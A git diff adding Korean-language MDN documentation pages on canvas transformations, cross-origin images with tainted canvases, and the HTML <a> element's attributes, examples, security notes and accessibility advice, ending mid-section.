+ <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt>
+ <dd>인수(arguments)에 표시된 행렬을 이용해 현재 변환 행렬을 곱합니다. 변환 행렬은 다음과 같이 작성됩니다. <br>
+ <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
+</dl>
+
+<dl>
+ <dd>만일 인수 중에 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>가 있다면, 변환 행렬은 예외 처리하는 메소드 대신에 반드시 infinite로 표시되어야 합니다.</dd>
+</dl>
+
+<p>이 function의 매개 변수들은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>수평으로 확대·축소하기</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>수평으로 비스듬히 기울이기</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>수직으로 비스듬히 기울이기</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>수직으로 확대·축소하기</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>수평으로 이동하기</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>수직으로 이동하기</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}</dt>
+ <dd>현재 변형 상태를 단위 행렬로 재설정하고 나서 동일한 인수로 <code>transform()</code> 메소드를 적용합니다. 이는 기본적으로 현재의 변형을 무효로 한 후에 명시된 변형으로 바뀌는데, 한번에 모든 게 진행됩니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}</dt>
+ <dd>현재 변형 상태를 단위 행렬로 재설정합니다. 이는 <code>ctx.setTransform(1, 0, 0, 1, 0, 0);</code> 호출과 같습니다.</dd>
+</dl>
+
+<h3 id="transform과_setTransform_예제"><code>transform</code>과 <code>setTransform</code> 예제</h3>
+
+<pre class="brush: js; highlight:[12,15]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI / 6);
+  var cos = Math.cos(Math.PI / 6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i = 0; i &lt;= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+  ctx.fillRect(0, 50, 100, 100);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="200" height="250"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example_for_transform_and_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</p>
diff --git a/files/ko/web/html/cors_enabled_image/index.html b/files/ko/web/html/cors_enabled_image/index.html
new file mode 100644
index 0000000000..5d3dfae121
--- /dev/null
+++ b/files/ko/web/html/cors_enabled_image/index.html
@@ -0,0 +1,112 @@
+---
+title: 교차 출처 이미지와 캔버스 허용하기
+slug: Web/HTML/CORS_enabled_image
+translation_of: Web/HTML/CORS_enabled_image
+---
+<p><span class="seoSummary">HTML은 이미지 처리를 위해 {{Glossary("CORS")}} header를 포함하고 있는 {{ htmlattrxref("crossorigin", "img") }} 속성을 제공합니다. 이는 {{ HTMLElement("img") }} 요소에서 정의된, 외부 origin으로 부터 가져오는 이미지가 {{HTMLElement("canvas")}}에서 사용할 수 있도록 해줍니다. 마치 현재 origin에서 가져온 것처럼 말입니다</span></p>
+
+<p><code>crossorigin</code> 속성이 어떻게 사용되는지 자세히 알고 싶다면, <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a> 를 참고하세요.</p>
+
+<h2 id="보안과_오염된_canvas들">보안과 오염된 canvas들</h2>
+
+<p>다른 호스트들에 있는 이미지나 비디오를 포함한 canvas 비트맵의 픽셀들은 다양한 출처로 부터 가져오기 때문에, 보안과 관련된 문제를 피할 수 없습니다.</p>
+
+<p>CORS를 통하지 않고, 다른 origin으로 부터 가져온 데이터들은 canvas에 그려지는 즉시 canvas는 <strong>오염</strong>됩니다. 오염된 canvas는 더 이상 안전하지 않은 것으로 여겨지고, canvas 이미지에서 데이터를 가져오려는 어떤 시도든 exception이 발생합니다.</p>
+
+<p>만약 외부 출처 콘텐츠가 HTML {{HTMLElement("img")}} 또는 SVG {{SVGElement("svg")}} 요소라면, canvas의 콘텐츠를 가져오려는 시도는 허용되지 않습니다.</p>
+
+<p>만약 외부 출처 콘텐츠가 {{domxref("HTMLCanvasElement")}} 또는 {{domxref("ImageBitMap")}} 로부터 오는 이미지이고, 이미지의 source가 동일 출처 원칙과 맞지 않는다면 canvas의 콘텐츠를 읽으려는 시도는 막힙니다.</p>
+
+<p>Calling any of the following on a tainted canvas will result in an error:</p>
+
+<ul>
+ <li>Calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} on the canvas's context</li>
+ <li>Calling {{domxref("HTMLCanvasElement.toBlob", "toBlob()")}} on the {{HTMLElement("canvas")}} element itself</li>
+ <li>Calling {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} on the canvas</li>
+</ul>
+
+<p>Attempting any of these when the canvas is tainted will cause a <code>SecurityError</code> to be thrown. This protects users from having private data exposed by using images to pull information from remote web sites without permission.</p>
+
+<h2 id="Storing_an_image_from_a_foreign_origin">Storing an image from a foreign origin</h2>
+
+<p>In this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage. Implementing this requires configuring the server as well as writing code for the web site itself.</p>
+
+<h3 id="Web_server_configuration">Web server configuration</h3>
+
+<p>The first thing we need is a server that's configured to host images with the {{HTTPHeader("Access-Control-Allow-Origin")}} header configured to permit cross-origin access to image files.</p>
+
+<p>Let's assume we're serving our site using <a href="https://httpd.apache.org/">Apache</a>. Consider the HTML5 Boilerplate <a href="https://github.com/h5bp/server-configs-apache/blob/master/src/cross-origin/images.conf">Apache server configuration file for CORS images</a>, shown below:</p>
+
+<pre class="brush: xml">&lt;IfModule mod_setenvif.c&gt;
+  &lt;IfModule mod_headers.c&gt;
+    &lt;FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$"&gt;
+      SetEnvIf Origin ":" IS_CORS
+      Header set Access-Control-Allow-Origin "*" env=IS_CORS
+    &lt;/FilesMatch&gt;
+  &lt;/IfModule&gt;
+&lt;/IfModule&gt;</pre>
+
+<p>In short, this configures the server to allow graphic files (those with the extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere on the internet.</p>
+
+<h3 id="Implementing_the_save_feature">Implementing the save feature</h3>
+
+<p>Now that the server has been configured to allow retrieval of the images cross-origin, we can write the code that allows the user to save them to local <a href="/en-US/docs/Web/API/Web_Storage_API">local storage</a>, just as if they were being served from the same domain the code is running on.</p>
+
+<p>The key is to use the {{htmlattrxref("crossorigin")}} attribute by setting {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} on the {{domxref("HTMLImageElement")}} into which the image will be loaded. This tells the browser to request cross-origin access when trying to download the image data.</p>
+
+<h4 id="Starting_the_download">Starting the download</h4>
+
+<p>The code that starts the download (say, when the user clicks a "Download" button), looks like this:</p>
+
+<pre class="brush: js">function startDownload() {
+  let imageURL = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
+
+  downloadedImg = new Image;
+  downloadedImg.crossOrigin = "Anonymous";
+  downloadedImg.addEventListener("load", imageReceived, false);
+  downloadedImg.src = imageURL;
+}</pre>
+
+<p>We're using a hard-coded URL here (<code>imageURL</code>), but that could easily come from anywhere. To begin downloading the image, we create a new {{domxref("HTMLImageElement")}} object by using the {{domxref("HTMLImageElement.Image", "Image()")}} constructor. The image is then configured to allow cross-origin downloading by setting its <code>crossOrigin</code> attribute to <code>"Anonymous"</code> (that is, allow non-authenticated downloading of the image cross-origin). An event listener is added for the {{event("load")}} event being fired on the image element, which means the image data has been received.</p>
+
+<p>Finally, the image's {{domxref("HTMLImageElement.src", "src")}} attribute is set to the URL of the image to download; this triggers the download to begin.</p>
+
+<h4 id="Receiving_and_saving_the_image">Receiving and saving the image</h4>
+
+<p>The code that handles the newly-downloaded image is found in the <code>imageReceived()</code> method:</p>
+
+<pre class="brush: js">function imageReceived() {
+  let canvas = document.createElement("canvas");
+  let context = canvas.getContext("2d");
+
+  canvas.width = downloadedImg.width;
+  canvas.height = downloadedImg.height;
+
+  context.drawImage(downloadedImg, 0, 0);
+  imageBox.appendChild(canvas);
+
+  try {
+    localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
+  }
+  catch(err) {
+    console.log("Error: " + err);
+  }
+}</pre>
+
+<p><code>imageReceived()</code> is called to handle the <code>"load"</code> event on the <code>HTMLImageElement</code> that receives the downloaded image. This event is triggered once the downloaded data is all available. It begins by creating a new {{HTMLElement("canvas")}} element that we'll use to convert the image into a data URL, and by getting access to the canvas's 2D drawing context ({{domxref("CanvasRenderingContext2D")}}) in the variable <code>context</code>.</p>
+
+<p>The canvas's size is adjusted to match the received image, then the image is drawn into the canvas using {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. The canvas is then inserted into the document so the image is visible.</p>
+
+<p>Now it's time to actually save the image locally. To do this, we use the Web Storage API's local storage mechanism, which is accessed through the {{domxref("Window.localStorage", "localStorage")}} global. The canvas method {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} is used to convert the image into a data:// URL representing a PNG image, which is then saved into local storage using {{domxref("Storage.setItem", "setItem()")}}.</p>
+
+<p>You can <a href="https://cors-image-example.glitch.me/">try out</a> or <a href="https://glitch.com/edit/#!/remix/cors-image-example">remix</a> this example on Glitch.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html">Using Cross-domain images in WebGL and Chrome 13</a></li>
+ <li><a class="external" href="http://whatwg.org/html#attr-img-crossorigin">HTML Specification - the <code>crossorigin</code> attribute</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}</div>
diff --git a/files/ko/web/html/element/a/index.html b/files/ko/web/html/element/a/index.html
new file mode 100644
index 0000000000..680f85b9b6
--- /dev/null
+++ b/files/ko/web/html/element/a/index.html
@@ -0,0 +1,489 @@
+---
+title: <a>
+slug: Web/HTML/Element/a
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/a
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;a&gt;</code> 요소</strong>(앵커 요소)는 {{htmlattrxref("href", "a")}} 특성을 통해 다른 페이지나 같은 페이지의 어느 위치, 파일, 이메일 주소와 그 외 다른 URL로 연결할 수 있는 하이퍼링크를 만듭니다.</span> <code>&lt;a&gt;</code> 안의 콘텐츠는 링크 목적지의 설명을 <strong>나타내야 합니다</strong>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/a.html")}}</div>
+
+
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("download")}}</dt>
+ <dd>링크로 이동하는 대신 사용자에게 URL을 저장할지 물어봅니다. 값을 지정할 수도 있고, 지정하지 않을 수도 있습니다.
+ <ul>
+  <li>값이 없으면 파일 이름과 확장자는 브라우저가 다양한 인자로부터 생성해 제안합니다.
+   <ul>
+    <li>{{HTTPHeader("Content-Disposition")}} HTTP 헤더</li>
+    <li><a href="/ko/docs/Web/API/URL/pathname">URL 경로</a>의 마지막 조각</li>
+    <li>{{glossary("MIME type", "미디어 유형")}} ({{HTTPHeader("Content-Type")}} 헤더, <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URL</a>의 시작 부분, <a href="/ko/docs/Web/API/URL/createObjectURL"><code>blob:</code> URL</a>의 {{domxref("Blob.type")}}에서 알아냄)</li>
+   </ul>
+  </li>
+  <li>값을 지정하면 저장할 때의 파일 이름으로서 제안합니다. <code>/</code>와 <code>\</code> 문자는<code>_</code>로 변환합니다. 파일시스템에서 다른 문자도 제한할 수 있으므로, 필요한 경우 브라우저가 추가로 이름을 조정할 수 있습니다.</li>
+ </ul>
+
+ <div class="note"><strong>참고:</strong>
+
+ <ul>
+  <li><code>download</code>는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 URL</a>과 <code>blob:</code>, <code>data:</code> 스킴에서만 작동합니다.</li>
+  <li><code>Content-Disposition</code>의 <code>filename</code>이 <code>download</code>와 다를 땐 헤더가 우선권을 가집니다. (<code>Content-Disposition: inline</code>일 때, Firefox는 헤더를 우선하고 Chrome은 <code>download</code>를 우선합니다.)</li>
+ </ul>
+ </div>
+ </dd>
+ <dt id="href">{{HTMLAttrDef("href")}}</dt>
+ <dd>
+ <p>하이퍼링크가 가리키는 URL. 링크는 HTTP 기반 URL일 필요는 없고, 브라우저가 지원하는 모든 URL 스킴을 사용할 수 있습니다.</p>
+
+ <ul>
+  <li>페이지 구획을 가리키는 프래그먼트 URL</li>
+  <li>미디어 파일 일부를 가리키는 미디어 프래그먼트</li>
+  <li><code>tel:</code> URL을 사용하는 전화번호</li>
+  <li><code>mailto:</code> URL을 사용하는 이메일 주소</li>
+  <li>웹 브라우저는 다른 URL 스킴을 지원하지 않지만, 웹사이트는 {{domxref("Navigator.registerProtocolHandler()")}}를 통해 지원할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>링크 URL의 인간 언어에 대한 힌트. 특별한 내장 기능은 없습니다. 가능한 값은 <a href="/ko/docs/Web/HTML/Global_attributes/lang">전역 <code>lang</code> 특성</a>과 동일합니다.</dd>
+ <dt>{{HTMLAttrDef("ping")}}</dt>
+ <dd>하나의 스페이스로 구분하는 URL 목록. 링크를 클릭해 따라갈 경우, 브라우저가 URL 각각에 {{HTTPMethod("POST")}} 요청을 전송합니다. 대개 추적 용도로 사용합니다.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>URL을 가져올 때 사용할 리퍼러. {{httpheader("Referrer-Policy")}} 문서에서 가능한 값과 효과를 확인하세요.</dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>하나의 스페이스로 구분하는, 연결한 URL과의 관계를 나타내는 <a href="/ko/docs/Web/HTML/Link_types">링크 유형</a> 목록.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>링크한 URL을 표시할 위치. 가능한 값은 브라우징 맥락으로, 즉 탭, 창, <code>&lt;iframe&gt;</code>의 이름이나 특정 키워드입니다. 다음 키워드는 특별한 뜻을 가지고 있습니다.
+ <ul>
+  <li><code>_self</code>: URL을 현재 브라우징 맥락에 표시합니다. 기본값.</li>
+  <li><code>_blank</code>: URL을 새로운 브라우징 맥락에 표시합니다. 보통 새 탭이지만, 사용자가 브라우저 설정을 통해 새 창으로 바꿀 수 있습니다.</li>
+  <li><code>_parent</code>: URL을 현재 브라우징 맥락의 부모에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+  <li><code>_top</code>: URL을 최상단 브라우징 맥락(현재 맥락의 부모면서 자신의 부모가 존재하지 않는, 제일 높은 맥락)에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>참고:</strong> <code>target</code>을 사용할 때, <code>rel="noreferrer"</code>를 추가해 <code>window.opener</code> API의 악의적인 사용을 방지하는걸 고려하세요.</p>
+ </div>
+
+ <div class="blockIndicator note">
+ <p><strong>참고:</strong> 최근의 브라우저(Firefox 79+ 등)에서는 target="_blank"를 지정하면 <code>rel="noopener"</code>를 적용한 것과 같은 동작을 합니다.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>링크 URL의 {{Glossary("MIME type")}}에 대한 힌트. 특별한 내장 기능은 없습니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<dl>
+ <dt id="charset">{{HTMLAttrDef("charset")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Hinted at the <a href="/en-US/docs/Glossary/character_encoding">character encoding</a> of the linked URL.
+ <div class="note">
+ <p><strong>Note:</strong> This attribute is obsolete and <strong>should not be used by authors</strong>. Use the HTTP <a href="/en-US/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> header on the linked URL.</p>
+ </div>
+ </dd>
+ <dt id="coords">{{HTMLAttrDef("coords")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Used with <a href="#shape">the <code>shape</code> attribute</a>. A comma-separated list of coordinates.</dd>
+ <dt id="name">{{HTMLAttrDef("name")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Was required to define a possible target location in a page. In HTML 4.01, <code>id</code> and <code>name</code> could both be used on <code>&lt;a&gt;</code>, as long as they had identical values.
+ <div class="note">
+ <p><strong>Note:</strong> Use the global attribute {{HTMLAttrxRef("id")}} instead.</p>
+ </div>
+ </dd>
+ <dt id="rev">{{HTMLAttrDef("rev")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Specified a reverse link; the opposite of <a href="#rel">the <code>rel</code> attribute</a>. Deprecated for being very confusing.</dd>
+ <dt id="shape">{{HTMLAttrDef("shape")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The shape of the hyperlink’s region in an image map.
+ <div class="note"><strong>Note:</strong> Use the {{HTMLElement("area")}} element for image maps instead.</div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content categories#Phrasing content">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 컨텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명함</a>. <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>(대화형 콘텐츠 제외) 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>
+    <p><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content_categories#Phrasing_content">구문 콘텐츠</a>를 허용하는 모든 요소, 또는 플로우 콘텐츠를 허용하는 모든 요소. 단, 다른 <code>&lt;a&gt;</code> 요소는 불가능.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><code>href</code> 특성이 존재하면 {{ariarole("link")}}, 그 외의 경우 <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>
+    <p><code>href</code> 특성이 존재할 경우,</p>
+
+    <ul>
+     <li>{{ARIARole("button")}}</li>
+     <li>{{ARIARole("checkbox")}}</li>
+     <li>{{ARIARole("menuitem")}}</li>
+     <li>{{ARIARole("menuitemcheckbox")}}</li>
+     <li>{{ARIARole("menuitemradio")}}</li>
+     <li>{{ARIARole("option")}}</li>
+     <li>{{ARIARole("radio")}}</li>
+     <li>{{ARIARole("switch")}}</li>
+     <li>{{ARIARole("tab")}}</li>
+     <li>{{ARIARole("treeitem")}}</li>
+    </ul>
+
+    <p><code>href</code> 특성이 존재하지 않을 경우,</p>
+
+    <ul>
+     <li>모두</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLAnchorElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="절대_URL로_연결">절대 URL로 연결</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a href="https://www.mozilla.com"&gt;
+  Mozilla
+&lt;/a&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('절대_URL로_연결')}}</p>
+
+<h3 id="상대_URL로_연결">상대 URL로 연결</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a href="//example.com"&gt;Scheme-relative URL&lt;/a&gt;
+&lt;a href="/en-US/docs/Web/HTML"&gt;Origin-relative URL&lt;/a&gt;
+&lt;a href="./p"&gt;Directory-relative URL&lt;/a&gt;
+</pre>
+
+<div class="hidden">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">a { display: block; margin-bottom: 0.5em }</pre>
+</div>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('상대_URL로_연결')}}</p>
+
+<h3 id="같은_페이지의_요소로_연결">같은 페이지의 요소로 연결</h3>
+
+<pre class="brush: html notranslate">&lt;!-- &lt;a&gt; 요소로 아래의 구획에 연결 --&gt;
+&lt;p&gt;&lt;a href="#Section_further_down"&gt;
+  아래 제목으로 건너뛰기
+&lt;/a&gt;&lt;/p&gt;
+
+&lt;!-- 링크가 향할 제목 --&gt;
+&lt;h2 id="Section_further_down"&gt;아래의 제목&lt;/h2&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>href="#top"</code>이나 빈 프래그먼트(<code>href="#"</code>)를 사용하면 현재 페이지의 최상단으로 이동하는 링크를 생성할 수 있습니다. <a href="https://html.spec.whatwg.org/multipage/browsing-the-web.html#scroll-to-the-fragment-identifier">HTML 명세</a>를 확인하세요.</p>
+</div>
+
+<h3 id="이메일_주소로_연결">이메일 주소로 연결</h3>
+
+<p>사용자의 이메일 프로그램을 통해 새로운 메일을 보낼 수 있는 링크를 생성하려면 <code>mailto:</code> 스킴을 사용하세요.</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:nowhere@mozilla.org"&gt;Send email to nowhere&lt;/a&gt;</pre>
+
+<p>제목과 본문 포함 등, <code>mailto:</code> URL에 관한 자세한 내용은 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#이메일_링크">이메일 링크</a>와 {{RFC(6068)}}을 참고하세요.</p>
+
+<h3 id="전화번호로_연결">전화번호로 연결</h3>
+
+<ul>
+</ul>
+
+<pre class="brush: html notranslate">&lt;a href="tel:+49.157.0156"&gt;+49 157 0156&lt;/a&gt;
+&lt;a href="tel:+1(555)5309"&gt;(555) 5309&lt;/a&gt;</pre>
+
+<p><code>tel:</code> 링크는 장치의 능력에 따라 행동이 바뀝니다.</p>
+
+<ul>
+ <li>휴대전화에서는 번호를 자동으로 입력합니다.</li>
+ <li>대부분의 운영체제에는 Skype, FaceTime처럼 전화를 걸 수 있는 프로그램이 있습니다.</li>
+ <li>웹사이트는 {{domxref("Navigator.registerProtocolHandler()")}}를 사용해 전화를 걸 수 있습니다. <code>web.skype.com</code>을 참고하세요.</li>
+ <li>다른 행동으로는 연락처에 저장하기와 다른 장치로 전송 등이 있습니다.</li>
+</ul>
+
+<p><code>tel:</code> URL의 구문, 추가 기능, 그 외 더 자세한 정보는 {{RFC(3966)}}을 참고하세요.</p>
+
+<h3 id="download_특성으로_&lt;canvas>를_PNG로_저장하기"><code>download</code> 특성으로 <code>&lt;canvas&gt;</code>를 PNG로 저장하기</h3>
+
+<p>{{htmlattrxref("download", "a")}} 특성과 <code>data:</code> URL을 사용해 {{HTMLElement("canvas")}} 요소의 콘텐츠를 이미지로 저장할 수 있습니다.</p>
+
+<h4 id="저장_링크를_가진_그림판_예제">저장 링크를 가진 그림판 예제</h4>
+
+<h5 id="HTML_3">HTML</h5>
+
+<pre class="brush: html notranslate">&lt;p&gt;마우스 드래그로 그림을 그려보세요.
+  &lt;a href="" download="my_painting.png"&gt;다운로드&lt;/a&gt;
+&lt;/p&gt;
+
+&lt;canvas width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+canvas {
+  background: #fff;
+  border: 1px dashed;
+}
+a {
+  display: inline-block;
+  background: #69c;
+  color: #fff;
+  padding: 5px 10px;
+}</pre>
+
+<h5 id="JavaScript">JavaScript</h5>
+
+<pre class="brush: js notranslate">var canvas = document.querySelector('canvas'),
+    c = canvas.getContext('2d');
+c.fillStyle = 'hotpink';
+
+function draw(x, y) {
+  if (isDrawing) {
+    c.beginPath();
+    c.arc(x, y, 10, 0, Math.PI*2);
+    c.closePath();
+    c.fill();
+  }
+}
+
+canvas.addEventListener('mousemove', event =&gt;
+  draw(event.offsetX, event.offsetY)
+);
+canvas.addEventListener('mousedown', () =&gt; isDrawing = true);
+canvas.addEventListener('mouseup', () =&gt; isDrawing = false);
+
+document.querySelector('a').addEventListener('click', event =&gt;
+  event.target.href = canvas.toDataURL()
+);
+</pre>
+
+<h5 id="결과_3">결과</h5>
+
+<p>{{EmbedLiveSample('저장_링크를_가진_그림판_예제', '100%', '400')}}</p>
+
+<h2 id="Specifications" name="Specifications">보안과 개인정보</h2>
+
+<p><code>&lt;a&gt;</code> 요소는 사용자의 보안과 개인정보에 중요한 영향을 줄 수 있습니다. <a href="/ko/docs/Web/Security/Referer_header:_privacy_and_security_concerns"><code>Referer</code> 헤더: 개인정보와 보안 고려사항</a> 문서에서 자세한 내용을 알아보세요.</p>
+
+<p><code>target="_blank"</code>를 <code>rel="noreferrer"</code>와 <code>rel="noopener"</code> 없이 사용하면 웹사이트가 {{domxref("Window.opener", "window.opener")}} API 악용 공격에 취약해집니다. (<a href="https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/">취약점 설명</a>) 다만, 최근 브라우저(Firefox 79+ 등)는 <code>target="_blank"</code>를 지정하면 임의로 <code>rel="noopener"</code> 설정과 동일한 보호 수준을 적용합니다.</p>
+
+<h2 id="Specifications" name="Specifications">접근성</h2>
+
+<h3 id="강한_링크_텍스트">강한 링크 텍스트</h3>
+
+<p>링크 안의 콘텐츠는, 맥락에서 벗어나더라도 링크가 향하는 곳을 설명해야 합니다.</p>
+
+<h4 id="접근성_떨어지는_약한_링크_텍스트">접근성 떨어지는 약한 링크 텍스트</h4>
+
+<p>심각하게 흔한 실수는 "여기를 클릭"이나 "여기"라는 단어에 링크를 한다는 것입니다.</p>
+
+<pre class="brush: html example-bad notranslate">&lt;p&gt;
+  저희의 제품을 더 알아보시려면 &lt;a href="/products"&gt;여기&lt;/a&gt;를 클릭하세요.
+&lt;/p&gt;
+</pre>
+
+<h4 id="강한_링크_텍스트_2">강한 링크 텍스트</h4>
+
+<p>다행히도 쉽게 수정할 수 있는 데다가, 접근성이 떨어지는 버전보다 더 짧습니다!</p>
+
+<pre class="brush: html example-good notranslate">&lt;p&gt;
+  저희의 &lt;a href="/products"&gt;제품을 더 알아보세요&lt;/a&gt;.
+&lt;/p&gt;</pre>
+
+<p>접근성 보조 기술은 페이지 안의 모든 링크를 나열하는 단축키가 있습니다. 그러나 강한 링크 텍스트가 보조 기술 사용자에게만 도움을 주는 것은 아닙니다. 모든 링크 나열 단축키는 시각적 사용자가 페이지를 빠르게 훑는 것을 흉내 내는 것이기 때문입니다.</p>
+
+<h3 id="onclick_이벤트"><code>onclick</code> 이벤트</h3>
+
+<p>앵커 요소의 <code>href</code>를 <code>#</code>이나 <code>javascript:void(0)</code>으로 지정해 페이지 새로고침을 막고, <code>click</code> 이벤트 처리기를 등록해서 가짜 버튼을 만드는 방식으로 남용하는 경우가 많습니다.</p>
+
